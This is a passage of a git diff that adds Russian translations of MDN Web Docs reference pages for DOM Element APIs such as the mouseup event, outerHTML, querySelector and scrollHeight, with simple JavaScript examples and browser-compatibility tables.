+ <li>{{Event("mouseleave")}}</li>
+ <li>{{Event("contextmenu")}}</li>
+</ul>
diff --git a/files/ru/web/api/element/mouseup_event/index.html b/files/ru/web/api/element/mouseup_event/index.html
new file mode 100644
index 0000000000..e3bd450c13
--- /dev/null
+++ b/files/ru/web/api/element/mouseup_event/index.html
@@ -0,0 +1,72 @@
+---
+title: 'Элемент: mouseup событие'
+slug: Web/API/Element/mouseup_event
+translation_of: Web/API/Element/mouseup_event
+---
+<div>{{APIRef}}</div>
+
+<p><span class="seoSummary">Событие <strong><code>mouseup</code></strong> возникает на {{domxref("Element")}}, когда кнопка на апаратном манипуляторе курсора (на мыши или трекпаде) отпущена, в то время как указатель находится на элементе.</span> Событие mouseup является противоположным {{domxref("Element.mousedown_event", "mousedown")}} событию.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Bubbles</th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Отменяемое </th>
+   <td>Да</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface</th>
+   <td>{{domxref("MouseEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Event handler property</th>
+   <td>{{domxref("GlobalEventHandlers.onmouseup", "onmouseup")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>{{page("/en-US/docs/Web/API/Element/mousemove_event", "Examples")}}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('UI Events', '#event-type-mouseup', 'mouseup')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#event-type-mouseup', 'mouseup')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p>{{Compat("api.Element.mouseup_event")}}</p>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">Introduction to events</a></li>
+ <li>{{Event("mousedown")}}</li>
+ <li>{{Event("mouseup")}}</li>
+ <li>{{Event("mousemove")}}</li>
+ <li>{{Event("click")}}</li>
+ <li>{{Event("dblclick")}}</li>
+ <li>{{Event("mouseover")}}</li>
+ <li>{{Event("mouseout")}}</li>
+ <li>{{Event("mouseenter")}}</li>
+ <li>{{Event("mouseleave")}}</li>
+ <li>{{Event("contextmenu")}}</li>
+</ul>
diff --git a/files/ru/web/api/element/outerhtml/index.html b/files/ru/web/api/element/outerhtml/index.html
new file mode 100644
index 0000000000..525ac3573e
--- /dev/null
+++ b/files/ru/web/api/element/outerhtml/index.html
@@ -0,0 +1,148 @@
+---
+title: Element.outerHTML
+slug: Web/API/Element/outerHTML
+tags:
+  - Парсинг
+  - Парсинг DOM
+  - Свойство
+  - Сериализация
+  - Ссылка
+translation_of: Web/API/Element/outerHTML
+---
+<p>{{APIRef("DOM")}}</p>
+
+<h2 id="Summary" name="Summary">Описание</h2>
+
+<p>Атрибут <code>outerHTML</code> DOM-интерфейса {{ domxref("element") }} получает сериализованный HTML-фрагмент, описывающий элемент, включая его потомков. Можно установить замену элемента узлами, полученными из заданной строки.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>var content</em> = <em>element</em>.outerHTML;
+</pre>
+
+<p>На выводе, <code>content</code> содержит сериализованный HTML-фрагмент, описывающий <code>element</code> и его потомки.</p>
+
+<pre class="eval"><em>element</em>.outerHTML = content;
+</pre>
+
+<p>Replaces the <code>element</code> with the nodes generated by parsing the string <code>content</code> with the parent of <code>element</code> as the context node for the fragment parsing algorithm.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<p>Получение свойства <code>outerHTML</code> элемента:</p>
+
+<pre class="brush: js">// HTML:
+// &lt;div id="d"&gt;&lt;p&gt;Content&lt;/p&gt;&lt;p&gt;Further Elaborated&lt;/p&gt;&lt;/div&gt;
+
+d = document.getElementById("d");
+console.log(d.outerHTML);
+
+// строка '&lt;div id="d"&gt;&lt;p&gt;Content&lt;/p&gt;&lt;p&gt;Further Elaborated&lt;/p&gt;&lt;/div&gt;'
+// выведена в окно консоли
+</pre>
+
+<p>Замена ветки с помощью изменения свойства <code>outerHTML</code>:</p>
+
+<pre class="brush: js">// HTML:
+// &lt;div id="container"&gt;&lt;div id="d"&gt;Это div.&lt;/div&gt;&lt;/div&gt;
+
+container = document.getElementById("container");
+d = document.getElementById("d");
+console.log(container.firstChild.nodeName); // логирует "DIV"
+
+d.outerHTML = "&lt;p&gt;Этот параграф заменил исходный div.&lt;/p&gt;";
+console.log(container.firstChild.nodeName); // логирует "P"
+
+// div #d больше не часть дерева документа,
+// новый параграф заменил его.
+</pre>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Если у элемента нет родительской ветки, которая не является корневой веткой документа, установка его свойства <code>outerHTML</code> выбросит исключение <code><a href="/en/DOM/DOMException" title="DOMException">DOMException</a></code> с кодом ошибки <code>NO_MODIFICATION_ALLOWED_ERR</code>. Например:</p>
+
+<pre class="brush: js">document.documentElement.outerHTML = "test";  // бросает DOMException
+</pre>
+
+<p>Also, while the element will be replaced in the document, the variable whose <code>outerHTML</code> property was set will still hold a reference to the original element:</p>
+
+<pre class="brush: js">var p = document.getElementsByTagName("p")[0];
+console.log(p.nodeName); // показывает: "P"
+p.outerHTML = "&lt;div&gt;Этот div заменил параграф.&lt;/div&gt;";
+console.log(p.nodeName); // всё ещё "P";
+</pre>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#outerhtml', 'Element.outerHTML')}}</td>
+   <td>{{ Spec2('DOM Parsing') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatGeckoDesktop("11") }}</td>
+   <td>0.2</td>
+   <td>4.0</td>
+   <td>7</td>
+   <td>1.3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("11") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>MSDN: <a class="external" href="http://msdn.microsoft.com/en-us/library/ms534310%28v=vs.85%29.aspx">outerHTML Property</a></li>
+</ul>
diff --git a/files/ru/web/api/element/queryselector/index.html b/files/ru/web/api/element/queryselector/index.html
new file mode 100644
index 0000000000..e06ee20537
--- /dev/null
+++ b/files/ru/web/api/element/queryselector/index.html
@@ -0,0 +1,136 @@
+---
+title: Element.querySelector()
+slug: Web/API/Element/querySelector
+translation_of: Web/API/Element/querySelector
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Возвращает первый элемент, являющийся потомком элемента, на который применено правило указанной группы селекторов.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>element</var> = baseElement.querySelector(<em>selector</em>s);
+</pre>
+
+<ul>
+ <li><code>element</code> и <code>baseElement</code> это {{domxref("element")}} объекты.</li>
+ <li><code>selectors</code> - это группа <a href="/ru-RU/docs/Web/Guide/CSS/Getting_Started/Selectors">селекторов</a> для поиска совпадения.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Данный пример получает первый элемент style, который не имеет атрибута type или этот атрибут равен text/css, в теле (body) HTML документа:</p>
+
+<pre class="brush:js">var el = document.body.querySelector("style[type='text/css'], style:not([type])");
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Возвращает null если совпадения не найдены, иначе первый найденный элемент.</p>
+
+<p>Генерирует исключение <code>SYNTAX_ERR</code>  если указанная группа селекторов не корректна.</p>
+
+<p><code>querySelector()</code> был представлен в WebApps API.</p>
+
+<p>Строка аргументов передаваемая <code>querySelector()</code> должна удовлетворять синтаксису CSS. Более подробные примеры смотрите в {{domxref("document.querySelector")}}.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM4','#dom-parentnode-queryselectorallselectors','querySelectorAll')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 2','#queryselectorall','querySelectorAll')}}</td>
+   <td>{{Spec2('Selectors API Level 2')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 1','#queryselectorall','querySelectorAll')}}</td>
+   <td>{{Spec2('Selectors API Level 1')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatChrome(1) }}<br>
+     </td>
+   <td>
+    <p>{{ CompatGeckoDesktop(1.9.1) }}</p>
+   </td>
+   <td>
+    <p>9 [1]</p>
+   </td>
+   <td>
+    <p>{{CompatVersionUnknown}}</p>
+   </td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <code>querySelector()</code> поддерживается в IE8, но только для CSS 2.1 селекторов.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("element.querySelectorAll()")}}</li>
+ <li>{{domxref("document.querySelector()")}}</li>
+ <li>{{domxref("document.querySelectorAll()")}}</li>
+ <li><a href="/ru-RU/docs/Code_snippets/QuerySelector">Фрагменты кода для querySelector</a></li>
+</ul>
diff --git a/files/ru/web/api/element/queryselectorall/index.html b/files/ru/web/api/element/queryselectorall/index.html
new file mode 100644
index 0000000000..02ffad4f0e
--- /dev/null
+++ b/files/ru/web/api/element/queryselectorall/index.html
@@ -0,0 +1,69 @@
+---
+title: Element.querySelectorAll()
+slug: Web/API/Element/querySelectorAll
+translation_of: Web/API/Element/querySelectorAll
+---
+<h2 id="Summary" name="Summary">Общая информация</h2>
+
+<p>Возвращает список типа <a href="/ru/docs/Web/API/NodeList">NodeList</a>, состоящий из всех элементов, которые являются потомками для элемента, над которым была выполнена функция и удовлетворяющим условию выборки.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>elementList</em> = baseElement.querySelectorAll(<em>selectors</em>);
+</pre>
+
+<p>где</p>
+
+<ul>
+ <li><code>elementList —</code> результирующий список объектов типа <a href="/ru/docs/Web/API/Element">element</a> (результаты).</li>
+ <li><code>baseElement —</code> <a href="/ru/docs/Web/API/Element">элемент</a>, над которым выполняется функция.</li>
+ <li><code>selectors —</code> <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Selectors">текст селектора</a> для выбора нужных элементов.</li>
+</ul>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<p>Этот пример возвращает список всех элементов с тегом p, которые находятся в теле документа:</p>
+
+<pre class="brush: js notranslate">var matches = document.body.querySelectorAll('p');
+</pre>
+
+<p>Этот пример возвращает список всех элементов с тегом p, которые находятся непосредственно в элементах-контейнерах с тегом div, имеющих класс 'highlighted', которые в свою очередь находятся внутри элемента с идентификатором 'test':</p>
+
+<pre class="brush:js notranslate">var el = document.querySelector('#test');
+var matches = el.querySelectorAll('div.highlighted &gt; p');
+</pre>
+
+<p>Этот пример возвращает список всех элементов iframe, которые имеют атрибут "data-src":</p>
+
+<pre class="brush: js notranslate">var matches = el.querySelectorAll('iframe[data-src]');
+</pre>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<p>Функция выбрасывает исключение SYNTAX_ERR, если текст селектора неправильный.</p>
+
+<p>querySelectorAll() был представлен как часть WebApps API.</p>
+
+<p>Строка указанная в качестве текста селектора, должна соответствовать синтаксису CSS.</p>
+
+<p>Помните, что возвращённый в качестве результата список <a href="/ru/docs/Web/API/NodeList">NodeList</a> не рекомендуется для использования в циклах (например, в for(...)) в качестве массива, т.к., это не массив в «традиционном» понятии Javascript, а объект типа <a href="/ru/docs/Web/API/NodeList">NodeList</a>, который, хоть и схож по свойствам с массивом, но не является таковым в полной мере (не поддерживает все методы, доступные массиву), так что будьте осторожны.</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div></div>
+
+<p>{{Compat("api.Element.querySelectorAll")}}</p>
+
+<h2 id="Specification" name="Specification">Ссылки на спецификации</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/selectors-api/" title="http://www.w3.org/TR/selectors-api/">Selectors API</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/Document.querySelectorAll" title="DOM/document.querySelectorAll"><code>document.querySelectorAll</code></a></li>
+ <li><a href="/en-US/docs/DOM/Document.querySelector" title="DOM/document.querySelector"><code>document.querySelector</code></a></li>
+ <li><a href="/en-US/docs/Code_snippets/QuerySelector" title="Code_snippets/QuerySelector">Сниппеты для <code>querySelector</code></a></li>
+</ul>
diff --git a/files/ru/web/api/element/removeattribute/index.html b/files/ru/web/api/element/removeattribute/index.html
new file mode 100644
index 0000000000..22bdfb22c2
--- /dev/null
+++ b/files/ru/web/api/element/removeattribute/index.html
@@ -0,0 +1,36 @@
+---
+title: Element.removeAttribute()
+slug: Web/API/Element/removeAttribute
+translation_of: Web/API/Element/removeAttribute
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p><code>removeAttribute</code> удаляет аттрибут с элемента.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>element</em>.removeAttribute(<em>attrName</em>);
+</pre>
+
+<ul>
+ <li><code>attrName</code> строка, имя аттрибута который должен быть удален с <em>element</em>.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre>// &lt;div id="div1" align="left" width="200px"&gt;
+document.getElementById("div1").removeAttribute("align");
+// now: &lt;div id="div1" width="200px"&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<p>Вы должны использовать removeAttribute вместо того, чтобы устанавливать значение атрибута в null, используя <a href="/en/DOM/element.setAttribute" title="en/DOM/element.setAttribute">setAttribute</a>.</p>
+
+<p>Попытка удаления аттрибута, которого нет на элементе не вызывает ошибки.</p>
+
+<p>{{ DOMAttributeMethods() }}</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-6D6AC0F9">DOM Level 2 Core: removeAttribute</a> (introduced in <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-removeAttribute">DOM Level 1 Core</a>)</p>
diff --git a/files/ru/web/api/element/requestpointerlock/index.html b/files/ru/web/api/element/requestpointerlock/index.html
new file mode 100644
index 0000000000..c85e4075b3
--- /dev/null
+++ b/files/ru/web/api/element/requestpointerlock/index.html
@@ -0,0 +1,90 @@
+---
+title: Element.requestPointerLock()
+slug: Web/API/Element/requestPointerLock
+translation_of: Web/API/Element/requestPointerLock
+---
+<p>{{ APIRef("DOM") }}{{ seeCompatTable }}</p>
+
+<p>Метод <strong><code>Element.requestPointerLock()</code></strong> позволяет асинхронно запросить блокировку курсора для заданного элемента.</p>
+
+<p>Чтобы отследить успех или ошибку запроса, необходимо слушать события {{event("pointerlockchange")}} и {{event("pointerlockerror")}} на уровне {{domxref("Document")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>instanceOfElement</em>.requestPointerLock();
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock','#element-interface','Element')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>Extend the <code>Element</code> interface</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }} {{property_prefix("webkit")}}</td>
+   <td>{{ CompatVersionUnknown() }} {{property_prefix("moz")}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{ domxref("Document.pointerLockElement") }}</li>
+ <li>{{ domxref("Document.exitPointerLock()") }}</li>
+ <li><a href="/Web/API/Pointer_Lock_API">Pointer Lock</a></li>
+</ul>
diff --git a/files/ru/web/api/element/scrollheight/index.html b/files/ru/web/api/element/scrollheight/index.html
new file mode 100644
index 0000000000..cc3e014192
--- /dev/null
+++ b/files/ru/web/api/element/scrollheight/index.html
@@ -0,0 +1,178 @@
+---
+title: Element.scrollHeight
+slug: Web/API/Element/scrollHeight
+translation_of: Web/API/Element/scrollHeight
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Свойство <strong><code>Element.scrollHeight</code></strong> (только чтение) - измерение высоты контента в элементе, включая содержимое, невидимое из-за прокрутки. Значение <code>scrollHeight</code>  равно минимальному <code>clientHeight</code>, которое потребуется элементу для того, чтобы поместить всё содержимое в видимую область (viewport), не используя вертикальную полосу прокрутки. Оно включает в себя padding элемента, но не его margin.</p>
+
+<div class="note">
+<p>Это свойство округляет значение до целого числа. Если вам нужно дробное значение, используйте {{ domxref("Element.getBoundingClientRect()") }}.</p>
+</div>
+
+<h2 id="Syntax_and_values" name="Syntax_and_values">Синтаксис</h2>
+
+<pre class="eval notranslate">var <em>intElemScrollHeight</em> = document.getElementById(<em>id_attribute_value</em>).scrollHeight;
+</pre>
+
+<p><em>intElemScrollHeight</em> - переменная, хранящая целое число, соответствующее пиксельному значению scrollHeight элемента. scrollHeight является свойством только для чтения.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<div id="offsetContainer" style="margin: 40px 50px 50px; background-color: rgb(255, 255, 204); border: 4px dashed black; color: black; position: relative; display: inline-block;">
+<div id="idDiv" style="margin: 24px 29px; border: 24px black solid; padding: 0px 28px; width: 199px; height: 102px; overflow: auto; background-color: white; font-size: 13px!important; font-family: Arial, sans-serif;">
+<p id="PaddingTopLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-top</p>
+
+<p>Бла-бла-бла, бла-бла-бла.Бла-бла-бла, бла-бла-бла.Бла-бла-бла, бла-бла-бла.</p>
+
+<p>Кот Василий ел картошку.Бла-бла-бла, бла-бла-бла.Бла-бла-бла, бла-бла-бла.</p>
+
+<p id="PaddingBottomLabel" style="text-align: center; font-style: italic; font-weight: bold; font-size: 13px!important; font-family: Arial, sans-serif; margin: 0px;">padding-bottom</p>
+</div>
+<strong style="">Left</strong> <strong style="">Top</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 370px; position: absolute; top: 85px;">Right</strong> <strong style="color: blue; font-family: arial,sans-serif; font-size: 13px!important; font-weight: bold; left: 164px; position: absolute; top: 203px;">Bottom</strong> <em>margin-top</em> <em>margin-bottom</em> <em>border-top</em> <em>border-bottom</em></div>
+
+<p><img alt="Image:scrollHeight.png" class="internal" src="/@api/deki/files/840/=ScrollHeight.png"></p>
+
+<h2 id="Проблемы_и_решения">Проблемы и решения</h2>
+
+<h3 id="Определить_был_ли_элемент_полностью_прокручен.">Определить, был ли элемент полностью прокручен.</h3>
+
+<p>Следующее выражение возвращает <code>true</code>, если элемент был прокручен до конца, <code>false</code> если это не так.</p>
+
+<pre class="syntaxbox notranslate">element.scrollHeight - element.scrollTop === element.clientHeight</pre>
+
+<h2 id="scrollHeight_Demo" name="scrollHeight_Demo">Пример работы scrollHeight</h2>
+
+<p>Если объединить это выражение с событием <code><a href="/en-US/docs/DOM/element.onscroll" title="en-US/docs/DOM/element.onscroll">onscroll</a></code>, оно может быть использовано для того, чтобы определить, прочитал ли пользователь текст, или нет (см. также свойства <code><a href="/en-US/docs/DOM/element.scrollTop" title="en-US/docs/DOM/element.scrollTop">element.scrollTop</a></code> и <code><a href="/en-US/docs/DOM/element.clientHeight" title="en-US/docs/DOM/element.clientHeight">element.clientHeight</a></code>). Например:</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;form name="registration"&gt;
+  &lt;p&gt;
+    &lt;textarea id="rules"&gt;
+Регистрируясь на сайте любителей котиков я соглашаюсь со следующими условиями:
+- покупать kitekat бездомным;
+- делиться последним куском мяса;
+- любить Firefox;
+- вставлять в каждую вразу: "мурр", "мррр" и т.п.;
+- в качестве документов предъявлять хвост и усы;
+- заниматься разработкой;
+- читать хабрахабр;
+- смотреть "Tom and Jerry" и котопса;
+- продать почку для поддержания здоровья кошек города;
+- уметь ловить мышей;
+- быть фанатом Матроскина;
+- обожать молоко;
+- уметь мурлыкать и рррычать;
+- следовать жизненным принципам Леопольда;
+- вставлять на MDN фразы про кошек для разнообразия и поддержания морального духа;
+- загрузить в качестве аватарки фото с Простоквашино;
+- другими словами, всегда любить и уважать кошек и ненавидеть собак.
+Условия могут быть изменены в любое время, незнание не освобождает от ответственности.
+    &lt;/textarea&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;input type="checkbox" name="accept" id="agree" /&gt;
+    &lt;label for="agree"&gt;Я согласен&lt;/label&gt;
+    &lt;input type="submit" id="nextstep" value="Далее" /&gt;
+  &lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">#notice {
+  display: inline-block;
+  margin-bottom: 12px;
+  border-radius: 5px;
+  width: 600px;
+  padding: 5px;
+  border: 2px #7FDF55 solid;
+}
+
+#rules {
+  width: 600px;
+  height: 130px;
+  padding: 5px;
+  border: #2A9F00 solid 2px;
+  border-radius: 5px;
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">function checkReading () {
+  if (checkReading.read) {
+    return;
+  }
+  checkReading.read = this.scrollHeight - this.scrollTop === this.clientHeight;
+  document.registration.accept.disabled = document.getElementById("nextstep").disabled = !checkReading.read;
+  checkReading.noticeBox.innerHTML = checkReading.read ? "Спасибо вам." : "Пожалуйста, прокрутите и прочитайте следующий текст.";
+}
+
+onload = function () {
+  var oToBeRead = document.getElementById("rules");
+  checkReading.noticeBox = document.createElement("span");
+  document.registration.accept.checked = false;
+  checkReading.noticeBox.id = "notice";
+  oToBeRead.parentNode.insertBefore(checkReading.noticeBox, oToBeRead);
+  oToBeRead.parentNode.insertBefore(document.createElement("br"), oToBeRead);
+  oToBeRead.onscroll = checkReading;
+  checkReading.call(oToBeRead);
+}</pre>
+
+<p>{{ EmbedLiveSample('scrollHeight_Demo', '640', '400') }}</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Спецификация</th>
+   <th>Статус</th>
+   <th>Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#dom-element-scrollheight", "Element.scrollHeight")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Supported" name="Supported">Совместимость с браузерами</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Браузеры</th>
+   <th>Начальная версия</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td><strong>8.0</strong></td>
+  </tr>
+  <tr>
+   <td>Firefox (Gecko)</td>
+   <td><strong>3.0</strong> (1.9)</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>?</td>
+  </tr>
+  <tr>
+   <td>Safari | Chrome | WebKit</td>
+   <td><strong>4.0</strong> | <strong>4.0</strong> | ?</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><strong>В версиях Firefox до 21-й:</strong> когда контент элемента не создает вертикальную полосу прокрутки, его свойство <code style="font-size: 14px;">scrollHeight</code><span style="line-height: 1.5;"> равно значению </span><code style="font-size: 14px;">clientHeight</code><span style="line-height: 1.5;">. Это может означать либо то, что контента слишком мало, чтобы ему потребовалась полоса прокрутки, либо то, что у элемента значение CSS свойства overflow равно visible (в этом случае прокрутка отсутствует).</span></p>
+
+<h2 id="See_Also" name="See_Also">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://docs.microsoft.com/en-us/previous-versions//hh781509(v=vs.85)">MSDN Измерение размера и положения элемента с помощью CSSOM в Internet Explorer 9</a></li>
+ <li>{{domxref("Element.clientHeight")}}</li>
+ <li>{{domxref("HTMLElement.offsetHeight")}}</li>
+ <li><a href="/en-US/docs/Determining_the_dimensions_of_elements" title="en/Determining_the_dimensions_of_elements">Определение размеров элементов</a></li>
+</ul>
diff --git a/files/ru/web/api/element/scrollintoview/index.html b/files/ru/web/api/element/scrollintoview/index.html
new file mode 100644
index 0000000000..58bf29f51a
--- /dev/null
+++ b/files/ru/web/api/element/scrollintoview/index.html
@@ -0,0 +1,112 @@
+---
+title: Element.scrollIntoView()
+slug: Web/API/Element/scrollIntoView
+translation_of: Web/API/Element/scrollIntoView
+---
+<div>{{ APIRef("DOM")}}</div>
+
+<p>Метод <code><strong>Element.scrollIntoView()</strong></code> интерфейса {{domxref("Element")}} прокручивает текущий контейнер родителя элемента, так, чтобы этот элемент, на котором был вызван <code>scrollIntoView()</code> был видим пользователю.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">element.scrollIntoView(); // эквивалентно<code> element.scrollIntoView(true)
+</code>element.scrollIntoView(<em>alignToTop</em>); // аргумент типа Boolean
+element.scrollIntoView(<em>scrollIntoViewOptions</em>); // аргумент типа Object
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>alignToTop</code> {{optional_inline}}</dt>
+ <dd>Параметр типа {{jsxref("Boolean")}}, возможные значения:
+ <ul>
